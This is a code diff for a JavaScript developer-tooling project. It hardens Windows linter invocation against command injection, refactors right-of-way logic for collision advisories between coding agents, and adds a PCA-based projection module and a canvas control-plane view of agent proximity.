// marks. Quotes and line controls remain invalid because they could escape
|
||||
// the quoted token boundary or create another command line.
|
||||
const tokenReferences = [command, ...args].map((value, index) => {
|
||||
const name = `${CMD_TOKEN_ENV_PREFIX}${index}`;
|
||||
environment[name] = validateCmdToken(value);
|
||||
return `"%${name}%"`;
|
||||
});
|
||||
const commandLine = tokenReferences.join(' ');
|
||||
return {
|
||||
command: process.env.ComSpec || process.env.COMSPEC || 'cmd.exe',
|
||||
args: ['/d', '/v:off', '/s', '/c', `"${commandLine}"`],
|
||||
options: {
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: LINTER_TIMEOUT_MS,
|
||||
shell: false,
|
||||
windowsVerbatimArguments: true,
|
||||
env: environment
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
command,
|
||||
args,
|
||||
options: {
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: LINTER_TIMEOUT_MS,
|
||||
shell: false
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
function runLinterCommand(command, args) {
|
||||
const useShell = process.platform === 'win32' && /\.(?:cmd|bat)$/i.test(command);
|
||||
return spawnSync(command, args, {
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: 30000,
|
||||
shell: useShell
|
||||
});
|
||||
try {
|
||||
const invocation = getLinterInvocation(command, args);
|
||||
return spawnSync(invocation.command, invocation.args, invocation.options);
|
||||
} catch (error) {
|
||||
return { status: null, stdout: '', stderr: '', error };
|
||||
}
|
||||
}
|
||||
|
||||
function commandOutput(result) {
|
||||
return result.stdout || result.stderr || result.error?.message || '';
|
||||
}
|
||||
|
||||
function golintSucceeded(result) {
|
||||
return result.status === 0 && !result.error && (!result.stdout || result.stdout.trim() === '');
|
||||
}
|
||||
|
||||
/**
|
||||
* Run linter on staged files
|
||||
* @param {string[]} files
|
||||
@@ -294,7 +357,7 @@ function runLinter(files) {
|
||||
const eslintBin = process.platform === 'win32' ? 'eslint.cmd' : 'eslint';
|
||||
const eslintPath = path.join(process.cwd(), 'node_modules', '.bin', eslintBin);
|
||||
if (fs.existsSync(eslintPath)) {
|
||||
const result = runLinterCommand(eslintPath, ['--format', 'compact', ...jsFiles]);
|
||||
const result = runLinterCommand(eslintPath, jsFiles);
|
||||
results.eslint = {
|
||||
success: result.status === 0,
|
||||
output: commandOutput(result)
|
||||
@@ -329,7 +392,7 @@ function runLinter(files) {
|
||||
} else {
|
||||
const result = runLinterCommand(golintPath, goFiles);
|
||||
results.golint = {
|
||||
success: !result.stdout || result.stdout.trim() === '',
|
||||
success: golintSucceeded(result),
|
||||
output: commandOutput(result)
|
||||
};
|
||||
}
|
||||
@@ -481,4 +544,13 @@ if (require.main === module) {
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { run, evaluate, validateCommitMessage, findFileIssues, isPlaceholderSecret };
|
||||
module.exports = {
|
||||
run,
|
||||
evaluate,
|
||||
validateCommitMessage,
|
||||
findFileIssues,
|
||||
isPlaceholderSecret,
|
||||
getLinterInvocation,
|
||||
golintSucceeded,
|
||||
runLinter
|
||||
};
|
||||
|
||||
@@ -270,6 +270,21 @@ function agentPriority(agent) {
|
||||
return { progress, ageMs: startedAt ? Date.now() - startedAt : 0 };
|
||||
}
|
||||
|
||||
/**
|
||||
* Right-of-way between two agents: more progress wins; tie goes to the earlier
|
||||
* start (greater age); final deterministic tiebreak on agentId so the maneuver
|
||||
* is coordinated. Returns { hold, steer } as agentIds.
|
||||
*/
|
||||
function rightOfWay(a, b) {
|
||||
const pa = agentPriority(a);
|
||||
const pb = agentPriority(b);
|
||||
let aHasPriority;
|
||||
if (pa.progress !== pb.progress) aHasPriority = pa.progress > pb.progress;
|
||||
else if (pa.ageMs !== pb.ageMs) aHasPriority = pa.ageMs > pb.ageMs;
|
||||
else aHasPriority = String(a.agentId) < String(b.agentId);
|
||||
return { hold: aHasPriority ? a.agentId : b.agentId, steer: aHasPriority ? b.agentId : a.agentId };
|
||||
}
|
||||
|
||||
/**
|
||||
* TCAS-style advisory between two agents given their collision risk.
|
||||
* Returns { level: 'clear'|'advisory'|'resolution', risk, transmit, steer, hold }.
|
||||
@@ -284,17 +299,7 @@ function advise(a, b, graph = {}, options = {}) {
|
||||
return { level: 'clear', risk, distance, channels, transmit: false, steer: null, hold: null };
|
||||
}
|
||||
|
||||
const pa = agentPriority(a);
|
||||
const pb = agentPriority(b);
|
||||
// Right-of-way: more progress wins; tie → earlier start (greater age) wins;
|
||||
// final deterministic tiebreak on agentId so the maneuver is coordinated.
|
||||
let aHasPriority;
|
||||
if (pa.progress !== pb.progress) aHasPriority = pa.progress > pb.progress;
|
||||
else if (pa.ageMs !== pb.ageMs) aHasPriority = pa.ageMs > pb.ageMs;
|
||||
else aHasPriority = String(a.agentId) < String(b.agentId);
|
||||
|
||||
const hold = aHasPriority ? a.agentId : b.agentId;
|
||||
const steer = aHasPriority ? b.agentId : a.agentId;
|
||||
const { hold, steer } = rightOfWay(a, b);
|
||||
|
||||
if (risk < thresholds.ra) {
|
||||
// Traffic advisory: exchange intent, no one has to move yet.
|
||||
@@ -324,6 +329,7 @@ module.exports = {
|
||||
treeRisk,
|
||||
collisionRisk,
|
||||
agentPriority,
|
||||
rightOfWay,
|
||||
advise,
|
||||
closureRate,
|
||||
_internal: { normalizePath, segments, jaccard }
|
||||
|
||||
@@ -25,9 +25,11 @@ function toRepoRel(repoRoot, absPath) {
|
||||
|
||||
// Match relative specifiers only (./ or ../). Bare specifiers are node_modules
|
||||
// and never the target of an in-repo collision.
|
||||
// Consume import whitespace once; a word boundary before `from` avoids
|
||||
// overlapping whitespace quantifiers on incomplete import statements.
|
||||
const SPEC_PATTERNS = [
|
||||
/require\(\s*['"](\.[^'"]+)['"]\s*\)/g,
|
||||
/import\s+(?:[^'"]*?\s+from\s+)?['"](\.[^'"]+)['"]/g,
|
||||
/import\s+(?!\s)(?:[^'"]*?\bfrom\s+)?['"](\.[^'"]+)['"]/g,
|
||||
/import\(\s*['"](\.[^'"]+)['"]\s*\)/g,
|
||||
/export\s+(?:\*|\{[^}]*\})\s+from\s+['"](\.[^'"]+)['"]/g
|
||||
];
|
||||
|
||||
@@ -135,7 +135,8 @@ function scanAirspace(agents, graph = {}, options = {}) {
|
||||
b: b.agentId,
|
||||
risk: verdict.risk,
|
||||
distance: verdict.distance,
|
||||
level: verdict.level
|
||||
level: verdict.level,
|
||||
channels: verdict.channels
|
||||
});
|
||||
if (verdict.level !== 'clear') {
|
||||
advisories.push({ a: a.agentId, b: b.agentId, ...verdict });
|
||||
|
||||
@@ -0,0 +1,305 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* 2D projection of the pairwise proximity channels for the control-plane view.
|
||||
*
|
||||
* Input: one row per agent pair, the shipped channel vector
|
||||
* x = [x_tree, x_overlap, x_dep] each in [0, 1]
|
||||
* (distance.js: treeRisk, overlapRisk, dependencyRisk).
|
||||
*
|
||||
* Pipeline (COMPETITION-AND-VISION section 4, "Normalization and projection"):
|
||||
* 1. z-score each channel against a rolling window of pair samples,
|
||||
* 2. clip the tails at the 2.5th and 97.5th percentile of that window,
|
||||
* 3. map back to [0, 1],
|
||||
* 4. apply the static channel weights (same omega as the noisy-OR),
|
||||
* 5. PCA over the weighted matrix, keep the first two components.
|
||||
*
|
||||
* Agent positions are the risk-weighted centroid of the projected points of
|
||||
* the pairs the agent belongs to. Nothing here changes the risk or the
|
||||
* advisory: the projection is a display, not a decision.
|
||||
*
|
||||
* No runtime dependencies. The eigen-decomposition is a Jacobi sweep over the
|
||||
* 3x3 covariance matrix, which is exact enough for a display.
|
||||
*/
|
||||
|
||||
const CHANNEL_ORDER = ['tree', 'overlap', 'dependency'];
|
||||
const CHANNEL_LABELS = { tree: 'x_tree', overlap: 'x_overlap', dependency: 'x_dep' };
|
||||
|
||||
const PROJECTION_DEFAULTS = {
|
||||
windowSize: 512,
|
||||
minWindowForZscore: 8,
|
||||
clipPercentiles: [2.5, 97.5],
|
||||
components: 2
|
||||
};
|
||||
|
||||
function finite(x) {
|
||||
return Number.isFinite(x) ? x : 0;
|
||||
}
|
||||
|
||||
function mean(values) {
|
||||
if (values.length === 0) return 0;
|
||||
let s = 0;
|
||||
for (const v of values) s += v;
|
||||
return s / values.length;
|
||||
}
|
||||
|
||||
function stddev(values, mu) {
|
||||
if (values.length < 2) return 0;
|
||||
let s = 0;
|
||||
for (const v of values) s += (v - mu) * (v - mu);
|
||||
return Math.sqrt(s / (values.length - 1));
|
||||
}
|
||||
|
||||
/**
|
||||
* Linear-interpolated percentile (p in [0, 100]) of a numeric array.
|
||||
*/
|
||||
function percentile(values, p) {
|
||||
const sorted = values.filter(Number.isFinite).slice().sort((a, b) => a - b);
|
||||
if (sorted.length === 0) return 0;
|
||||
if (sorted.length === 1) return sorted[0];
|
||||
const rank = (Math.min(100, Math.max(0, p)) / 100) * (sorted.length - 1);
|
||||
const lo = Math.floor(rank);
|
||||
const hi = Math.ceil(rank);
|
||||
if (lo === hi) return sorted[lo];
|
||||
return sorted[lo] + (sorted[hi] - sorted[lo]) * (rank - lo);
|
||||
}
|
||||
|
||||
/**
|
||||
* Rolling window of pair channel samples. Each push records one sample vector;
|
||||
* the window keeps the newest `size` samples. `stats()` returns, per channel,
|
||||
* the mean, standard deviation and clip bounds (in z units) used to normalize.
|
||||
*/
|
||||
function createProjectionWindow(options = {}) {
|
||||
const size = Number.isFinite(options.windowSize) && options.windowSize > 0 ? Math.floor(options.windowSize) : PROJECTION_DEFAULTS.windowSize;
|
||||
const [pLo, pHi] = Array.isArray(options.clipPercentiles) && options.clipPercentiles.length === 2 ? options.clipPercentiles : PROJECTION_DEFAULTS.clipPercentiles;
|
||||
const samples = [];
|
||||
|
||||
return {
|
||||
size,
|
||||
push(vector) {
|
||||
const row = CHANNEL_ORDER.map((_, i) => finite(vector[i]));
|
||||
samples.push(row);
|
||||
if (samples.length > size) samples.splice(0, samples.length - size);
|
||||
return samples.length;
|
||||
},
|
||||
get length() {
|
||||
return samples.length;
|
||||
},
|
||||
stats() {
|
||||
const per = CHANNEL_ORDER.map((channel, i) => {
|
||||
const column = samples.map(row => row[i]);
|
||||
const mu = mean(column);
|
||||
const sigma = stddev(column, mu);
|
||||
const z = sigma > 0 ? column.map(v => (v - mu) / sigma) : column.map(() => 0);
|
||||
return {
|
||||
channel,
|
||||
mean: mu,
|
||||
stddev: sigma,
|
||||
clipLow: percentile(z, pLo),
|
||||
clipHigh: percentile(z, pHi)
|
||||
};
|
||||
});
|
||||
return { samples: samples.length, percentiles: [pLo, pHi], channels: per };
|
||||
},
|
||||
reset() {
|
||||
samples.length = 0;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* z-score one sample against the window stats, clip to the percentile bounds,
|
||||
* map back to [0, 1]. A channel with zero variance maps to 0.5.
|
||||
*/
|
||||
function normalizeSample(vector, stats) {
|
||||
return CHANNEL_ORDER.map((_, i) => {
|
||||
const s = stats.channels[i];
|
||||
const v = finite(vector[i]);
|
||||
if (!(s.stddev > 0)) return 0.5;
|
||||
const z = (v - s.mean) / s.stddev;
|
||||
const lo = s.clipLow;
|
||||
const hi = s.clipHigh;
|
||||
if (!(hi > lo)) return 0.5;
|
||||
const clipped = Math.min(hi, Math.max(lo, z));
|
||||
return (clipped - lo) / (hi - lo);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Jacobi eigen-decomposition of a small symmetric matrix. Returns eigenvalues
|
||||
* (descending) and the matching unit eigenvectors (as columns).
|
||||
*/
|
||||
function symmetricEigen(matrix) {
|
||||
const n = matrix.length;
|
||||
const a = matrix.map(row => row.slice());
|
||||
const v = Array.from({ length: n }, (_, i) => Array.from({ length: n }, (_, j) => (i === j ? 1 : 0)));
|
||||
for (let sweep = 0; sweep < 64; sweep += 1) {
|
||||
let off = 0;
|
||||
for (let p = 0; p < n; p += 1) for (let q = p + 1; q < n; q += 1) off += a[p][q] * a[p][q];
|
||||
if (off < 1e-18) break;
|
||||
for (let p = 0; p < n; p += 1) {
|
||||
for (let q = p + 1; q < n; q += 1) {
|
||||
if (Math.abs(a[p][q]) < 1e-14) continue;
|
||||
const theta = (a[q][q] - a[p][p]) / (2 * a[p][q]);
|
||||
const t = Math.sign(theta || 1) / (Math.abs(theta) + Math.sqrt(theta * theta + 1));
|
||||
const c = 1 / Math.sqrt(t * t + 1);
|
||||
const s = t * c;
|
||||
for (let k = 0; k < n; k += 1) {
|
||||
const akp = a[k][p];
|
||||
const akq = a[k][q];
|
||||
a[k][p] = c * akp - s * akq;
|
||||
a[k][q] = s * akp + c * akq;
|
||||
}
|
||||
for (let k = 0; k < n; k += 1) {
|
||||
const apk = a[p][k];
|
||||
const aqk = a[q][k];
|
||||
a[p][k] = c * apk - s * aqk;
|
||||
a[q][k] = s * apk + c * aqk;
|
||||
}
|
||||
for (let k = 0; k < n; k += 1) {
|
||||
const vkp = v[k][p];
|
||||
const vkq = v[k][q];
|
||||
v[k][p] = c * vkp - s * vkq;
|
||||
v[k][q] = s * vkp + c * vkq;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
const order = Array.from({ length: n }, (_, i) => i).sort((i, j) => a[j][j] - a[i][i]);
|
||||
return {
|
||||
values: order.map(i => a[i][i]),
|
||||
vectors: order.map(i => v.map(row => row[i]))
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* PCA over a row matrix. Returns the scores for the first `components`
|
||||
* components, the loadings (unit eigenvectors) and the explained variance.
|
||||
* Fewer than two rows, or zero total variance, yields all-zero scores.
|
||||
*/
|
||||
function pca(rows, components = PROJECTION_DEFAULTS.components) {
|
||||
const n = rows.length;
|
||||
const dims = n > 0 ? rows[0].length : CHANNEL_ORDER.length;
|
||||
const k = Math.max(1, Math.min(components, dims));
|
||||
const centre = Array.from({ length: dims }, (_, d) => mean(rows.map(r => r[d])));
|
||||
const zeroScores = rows.map(() => new Array(k).fill(0));
|
||||
if (n < 2) {
|
||||
return { scores: zeroScores, loadings: [], explainedVariance: new Array(k).fill(0), centre };
|
||||
}
|
||||
const cov = Array.from({ length: dims }, () => new Array(dims).fill(0));
|
||||
for (const row of rows) {
|
||||
for (let i = 0; i < dims; i += 1) {
|
||||
for (let j = i; j < dims; j += 1) {
|
||||
cov[i][j] += (row[i] - centre[i]) * (row[j] - centre[j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (let i = 0; i < dims; i += 1) for (let j = i; j < dims; j += 1) {
|
||||
cov[i][j] /= n - 1;
|
||||
cov[j][i] = cov[i][j];
|
||||
}
|
||||
const total = cov.reduce((s, row, i) => s + row[i], 0);
|
||||
if (!(total > 1e-12)) {
|
||||
return { scores: zeroScores, loadings: [], explainedVariance: new Array(k).fill(0), centre };
|
||||
}
|
||||
const eig = symmetricEigen(cov);
|
||||
const loadings = eig.vectors.slice(0, k);
|
||||
const scores = rows.map(row => loadings.map(vec => vec.reduce((s, w, d) => s + w * (row[d] - centre[d]), 0)));
|
||||
const explainedVariance = eig.values.slice(0, k).map(val => Math.max(0, val) / total);
|
||||
return { scores, loadings, explainedVariance, centre };
|
||||
}
|
||||
|
||||
function channelVector(channels) {
|
||||
return CHANNEL_ORDER.map(key => finite(channels && channels[key]));
|
||||
}
|
||||
|
||||
/**
|
||||
* Project a set of pair links ({ a, b, risk, channels }) to 2D.
|
||||
*
|
||||
* The window is optional; when given, each link's channel vector is pushed
|
||||
* into it and the normalization uses the window stats (rolling z-score plus
|
||||
* tail clip). Without a window, or while the window holds fewer than
|
||||
* `minWindowForZscore` samples, the raw [0, 1] channel values are used and the
|
||||
* result says so (`normalization: 'raw'`).
|
||||
*
|
||||
* @returns {{ pairs, agents, normalization, window, pca }}
|
||||
*/
|
||||
function projectPairs(links, options = {}) {
|
||||
const list = Array.isArray(links) ? links.filter(l => l && l.a !== undefined && l.b !== undefined) : [];
|
||||
const weights = { tree: 0.25, overlap: 1.0, dependency: 0.9, ...(options.channelWeights || {}) };
|
||||
const window = options.window || null;
|
||||
const minWindow = Number.isFinite(options.minWindowForZscore) ? options.minWindowForZscore : PROJECTION_DEFAULTS.minWindowForZscore;
|
||||
|
||||
const raw = list.map(l => channelVector(l.channels));
|
||||
if (window && options.sample !== false) for (const vec of raw) window.push(vec);
|
||||
|
||||
let stats = null;
|
||||
let normalization = 'raw';
|
||||
let normalized = raw;
|
||||
if (window && window.length >= minWindow) {
|
||||
stats = window.stats();
|
||||
normalized = raw.map(vec => normalizeSample(vec, stats));
|
||||
normalization = 'zscore-clipped';
|
||||
}
|
||||
const weighted = normalized.map(vec => vec.map((v, i) => v * finite(weights[CHANNEL_ORDER[i]])));
|
||||
const result = pca(weighted, options.components || PROJECTION_DEFAULTS.components);
|
||||
|
||||
const pairs = list.map((l, i) => ({
|
||||
a: l.a,
|
||||
b: l.b,
|
||||
risk: finite(l.risk),
|
||||
level: l.level || null,
|
||||
channels: Object.fromEntries(CHANNEL_ORDER.map((key, d) => [CHANNEL_LABELS[key], raw[i][d]])),
|
||||
normalized: Object.fromEntries(CHANNEL_ORDER.map((key, d) => [CHANNEL_LABELS[key], normalized[i][d]])),
|
||||
point: result.scores[i]
|
||||
}));
|
||||
|
||||
// Agent position: risk-weighted centroid of its pair points. A floor keeps
|
||||
// a clear pair from vanishing, so every agent with a pair gets a position.
|
||||
const byAgent = new Map();
|
||||
for (const pair of pairs) {
|
||||
const w = 0.05 + pair.risk;
|
||||
for (const id of [pair.a, pair.b]) {
|
||||
const acc = byAgent.get(id) || { sum: pair.point.map(() => 0), w: 0, pairs: 0, maxRisk: 0 };
|
||||
pair.point.forEach((x, d) => {
|
||||
acc.sum[d] += x * w;
|
||||
});
|
||||
acc.w += w;
|
||||
acc.pairs += 1;
|
||||
acc.maxRisk = Math.max(acc.maxRisk, pair.risk);
|
||||
byAgent.set(id, acc);
|
||||
}
|
||||
}
|
||||
const agents = [...byAgent.entries()].map(([agentId, acc]) => ({
|
||||
agentId,
|
||||
point: acc.sum.map(x => (acc.w > 0 ? x / acc.w : 0)),
|
||||
pairs: acc.pairs,
|
||||
maxRisk: acc.maxRisk
|
||||
}));
|
||||
|
||||
return {
|
||||
method: 'pca',
|
||||
channels: CHANNEL_ORDER.map(key => CHANNEL_LABELS[key]),
|
||||
weights: Object.fromEntries(CHANNEL_ORDER.map(key => [CHANNEL_LABELS[key], finite(weights[key])])),
|
||||
normalization,
|
||||
window: stats ? { samples: stats.samples, percentiles: stats.percentiles, channels: stats.channels.map(c => ({ ...c, channel: CHANNEL_LABELS[c.channel] })) } : { samples: window ? window.length : 0, percentiles: PROJECTION_DEFAULTS.clipPercentiles, channels: [] },
|
||||
pca: {
|
||||
loadings: result.loadings.map(vec => Object.fromEntries(CHANNEL_ORDER.map((key, d) => [CHANNEL_LABELS[key], vec[d]]))),
|
||||
explainedVariance: result.explainedVariance
|
||||
},
|
||||
pairs,
|
||||
agents
|
||||
};
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
PROJECTION_DEFAULTS,
|
||||
CHANNEL_ORDER,
|
||||
CHANNEL_LABELS,
|
||||
percentile,
|
||||
createProjectionWindow,
|
||||
normalizeSample,
|
||||
pca,
|
||||
projectPairs,
|
||||
_internal: { symmetricEigen, mean, stddev }
|
||||
};
|
||||
@@ -0,0 +1,243 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Self-contained control-plane live view page, served at /control-plane.
|
||||
*
|
||||
* Draws the 2D PCA projection of the agent pairs (projection.js) on a canvas,
|
||||
* the lanes and tasks beside it, and the advisory event feed. Polls
|
||||
* /api/control-plane. No external scripts, no framework: it has to work on a
|
||||
* loopback server with a strict CSP and offline.
|
||||
*/
|
||||
|
||||
function renderControlPlaneViewHtml() {
|
||||
return `<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>ECC Control Plane</title>
|
||||
<style>
|
||||
:root { color-scheme: dark; }
|
||||
* { box-sizing: border-box; }
|
||||
body { margin: 0; font: 14px/1.4 -apple-system, system-ui, sans-serif; background: #0b0e14; color: #e6edf3; }
|
||||
header { display: flex; align-items: baseline; gap: 12px; padding: 12px 16px; border-bottom: 1px solid #1f2630; }
|
||||
header h1 { font-size: 15px; margin: 0; }
|
||||
header .sub { color: #8b949e; font-size: 12px; }
|
||||
header nav { margin-left: auto; font-size: 12px; }
|
||||
header nav a { color: #8b949e; margin-left: 12px; text-decoration: none; }
|
||||
header nav a:hover { color: #e6edf3; }
|
||||
#wrap { display: grid; grid-template-columns: 1fr 360px; height: calc(100vh - 49px); }
|
||||
#stage { position: relative; border-right: 1px solid #1f2630; }
|
||||
canvas { width: 100%; height: 100%; display: block; }
|
||||
#side { padding: 12px 14px; overflow-y: auto; }
|
||||
#side h2 { font-size: 12px; text-transform: uppercase; letter-spacing: .04em; color: #8b949e; margin: 14px 0 8px; }
|
||||
#side h2:first-child { margin-top: 0; }
|
||||
.ev { border: 1px solid #1f2630; border-radius: 8px; padding: 8px 10px; margin-bottom: 8px; }
|
||||
.ev.resolution { border-color: #b3402f; }
|
||||
.ev.traffic { border-color: #9a6700; }
|
||||
.ev.conflict { border-color: #58a6ff; }
|
||||
.ev .lv { font-size: 11px; text-transform: uppercase; letter-spacing: .04em; }
|
||||
.ev.resolution .lv { color: #ff7b72; }
|
||||
.ev.traffic .lv { color: #e3b341; }
|
||||
.ev.conflict .lv { color: #58a6ff; }
|
||||
.ev .msg { color: #c9d1d9; font-size: 12px; margin-top: 3px; }
|
||||
.lane { margin-bottom: 10px; }
|
||||
.lane .name { color: #c9d1d9; font-weight: 600; font-size: 12px; }
|
||||
.task { display: flex; gap: 8px; align-items: baseline; font-size: 12px; padding: 2px 0 2px 8px; color: #8b949e; }
|
||||
.task .id { color: #c9d1d9; font-family: ui-monospace, SFMono-Regular, Menlo, monospace; }
|
||||
.task .risk { margin-left: auto; }
|
||||
.empty { color: #6e7681; font-size: 12px; }
|
||||
#legend { position: absolute; left: 12px; bottom: 12px; font-size: 11px; color: #8b949e; background: rgba(11,14,20,.7); padding: 6px 8px; border-radius: 6px; }
|
||||
#meta { position: absolute; right: 12px; top: 12px; font-size: 11px; color: #8b949e; background: rgba(11,14,20,.7); padding: 6px 8px; border-radius: 6px; text-align: right; }
|
||||
.dot { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; vertical-align: middle; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>ECC Control Plane</h1>
|
||||
<span class="sub" id="status">connecting...</span>
|
||||
<nav><a href="/">board</a><a href="/proximity">3D airspace</a><a href="/api/control-plane">json</a></nav>
|
||||
</header>
|
||||
<div id="wrap">
|
||||
<div id="stage">
|
||||
<canvas id="c"></canvas>
|
||||
<div id="meta"></div>
|
||||
<div id="legend">
|
||||
<div><span class="dot" style="background:#3fb950"></span>clear</div>
|
||||
<div><span class="dot" style="background:#e3b341"></span>traffic advisory (transmit)</div>
|
||||
<div><span class="dot" style="background:#ff7b72"></span>resolution advisory (steer)</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="side">
|
||||
<h2>Events</h2>
|
||||
<div id="events"><div class="empty">No events.</div></div>
|
||||
<h2>Lanes</h2>
|
||||
<div id="lanes"><div class="empty">No tasks.</div></div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function () {
|
||||
var canvas = document.getElementById('c');
|
||||
var ctx = canvas.getContext('2d');
|
||||
var view = { tasks: [], lanes: [], pairs: [], events: [], projection: { agents: [] }, thresholds: { ta: 0.35, ra: 0.7 } };
|
||||
|
||||
function resize() {
|
||||
var r = canvas.parentElement.getBoundingClientRect();
|
||||
var dpr = window.devicePixelRatio || 1;
|
||||
canvas.width = Math.max(1, Math.floor(r.width * dpr));
|
||||
canvas.height = Math.max(1, Math.floor(r.height * dpr));
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
draw();
|
||||
}
|
||||
window.addEventListener('resize', resize);
|
||||
|
||||
function riskColor(risk) {
|
||||
if (risk >= view.thresholds.ra) return '#ff7b72';
|
||||
if (risk >= view.thresholds.ta) return '#e3b341';
|
||||
return '#3fb950';
|
||||
}
|
||||
|
||||
// Fit the projected points into the canvas with a margin. The PCA scores
|
||||
// are centred already, so we only need a scale.
|
||||
function fit(points, w, h) {
|
||||
var maxAbs = 1e-6;
|
||||
points.forEach(function (p) {
|
||||
maxAbs = Math.max(maxAbs, Math.abs(p[0] || 0), Math.abs(p[1] || 0));
|
||||
});
|
||||
var scale = (Math.min(w, h) * 0.4) / maxAbs;
|
||||
return function (p) { return [w / 2 + (p[0] || 0) * scale, h / 2 - (p[1] || 0) * scale]; };
|
||||
}
|
||||
|
||||
function draw() {
|
||||
var w = canvas.clientWidth, h = canvas.clientHeight;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
var agents = view.projection.agents || [];
|
||||
var toScreen = fit(agents.map(function (a) { return a.point; }), w, h);
|
||||
var pos = {};
|
||||
agents.forEach(function (a) { pos[a.agentId] = toScreen(a.point); });
|
||||
|
||||
// axes
|
||||
ctx.strokeStyle = '#1f2630';
|
||||
ctx.lineWidth = 1;
|
||||
ctx.beginPath(); ctx.moveTo(0, h / 2); ctx.lineTo(w, h / 2); ctx.stroke();
|
||||
ctx.beginPath(); ctx.moveTo(w / 2, 0); ctx.lineTo(w / 2, h); ctx.stroke();
|
||||
|
||||
// pair links under the points
|
||||
(view.pairs || []).forEach(function (pair) {
|
||||
if (pair.risk < 0.2) return;
|
||||
var pa = pos[pair.a], pb = pos[pair.b];
|
||||
if (!pa || !pb) return;
|
||||
ctx.strokeStyle = riskColor(pair.risk);
|
||||
ctx.globalAlpha = Math.min(1, 0.25 + pair.risk * 0.7);
|
||||
ctx.lineWidth = 1 + pair.risk * 3;
|
||||
ctx.beginPath(); ctx.moveTo(pa[0], pa[1]); ctx.lineTo(pb[0], pb[1]); ctx.stroke();
|
||||
});
|
||||
ctx.globalAlpha = 1;
|
||||
|
||||
// agents
|
||||
var taskById = {};
|
||||
view.tasks.forEach(function (t) { taskById[t.id] = t; });
|
||||
agents.forEach(function (a) {
|
||||
var p = pos[a.agentId];
|
||||
var t = taskById[a.agentId] || {};
|
||||
var files = (t.workingSet && t.workingSet.fileCount) || 1;
|
||||
var radius = 6 + Math.sqrt(files) * 3;
|
||||
ctx.fillStyle = riskColor(a.maxRisk || 0);
|
||||
ctx.beginPath(); ctx.arc(p[0], p[1], radius, 0, Math.PI * 2); ctx.fill();
|
||||
ctx.fillStyle = '#c9d1d9';
|
||||
ctx.font = '11px -apple-system, system-ui, sans-serif';
|
||||
ctx.fillText(String(a.agentId).slice(0, 18), p[0] + radius + 4, p[1] + 3);
|
||||
});
|
||||
|
||||
// singleton tasks (no pair yet) sit at the origin, listed in the side panel
|
||||
var meta = document.getElementById('meta');
|
||||
var pj = view.projection || {};
|
||||
var ev = (pj.pca && pj.pca.explainedVariance) || [];
|
||||
meta.textContent = 'pca over x_tree, x_overlap, x_dep | ' + (pj.normalization || 'raw') +
|
||||
(pj.window && pj.window.samples ? ' | window ' + pj.window.samples : '') +
|
||||
(ev.length ? ' | var ' + ev.map(function (x) { return Math.round(x * 100) + '%'; }).join(' / ') : '');
|
||||
}
|
||||
|
||||
function renderEvents() {
|
||||
var box = document.getElementById('events');
|
||||
box.textContent = '';
|
||||
if (!view.events.length) {
|
||||
var e = document.createElement('div'); e.className = 'empty';
|
||||
e.textContent = 'No events. Airspace clear, no declared lease conflicts.'; box.appendChild(e); return;
|
||||
}
|
||||
view.events.forEach(function (ev) {
|
||||
var el = document.createElement('div');
|
||||
el.className = 'ev ' + ev.level;
|
||||
var lv = document.createElement('div'); lv.className = 'lv';
|
||||
lv.textContent = (ev.risk !== undefined ? Math.round(ev.risk * 100) + '% ' : '') + ev.kind + ' / ' + ev.level;
|
||||
el.appendChild(lv);
|
||||
var msg = document.createElement('div'); msg.className = 'msg';
|
||||
msg.textContent = ev.message; el.appendChild(msg);
|
||||
box.appendChild(el);
|
||||
});
|
||||
}
|
||||
|
||||
function renderLanes() {
|
||||
var box = document.getElementById('lanes');
|
||||
box.textContent = '';
|
||||
if (!view.tasks.length) {
|
||||
var e = document.createElement('div'); e.className = 'empty';
|
||||
e.textContent = 'No tasks.'; box.appendChild(e); return;
|
||||
}
|
||||
var taskById = {};
|
||||
view.tasks.forEach(function (t) { taskById[t.id] = t; });
|
||||
view.lanes.forEach(function (lane) {
|
||||
var el = document.createElement('div'); el.className = 'lane';
|
||||
var name = document.createElement('div'); name.className = 'name';
|
||||
name.textContent = lane.label + ' (' + lane.kind + ', ' + lane.taskIds.length + ')';
|
||||
el.appendChild(name);
|
||||
lane.taskIds.forEach(function (id) {
|
||||
var t = taskById[id]; if (!t) return;
|
||||
var row = document.createElement('div'); row.className = 'task';
|
||||
var idEl = document.createElement('span'); idEl.className = 'id'; idEl.textContent = t.id.slice(0, 20);
|
||||
var st = document.createElement('span'); st.textContent = t.harness + ' / ' + t.state + ' / ' + (t.workingSet.fileCount || 0) + ' files';
|
||||
var risk = document.createElement('span'); risk.className = 'risk';
|
||||
risk.style.color = riskColor(t.projection.maxRisk || 0);
|
||||
risk.textContent = t.projection.point ? Math.round((t.projection.maxRisk || 0) * 100) + '%' : 'no pair';
|
||||
row.appendChild(idEl); row.appendChild(st); row.appendChild(risk);
|
||||
el.appendChild(row);
|
||||
});
|
||||
box.appendChild(el);
|
||||
});
|
||||
}
|
||||
|
||||
function apply(data) {
|
||||
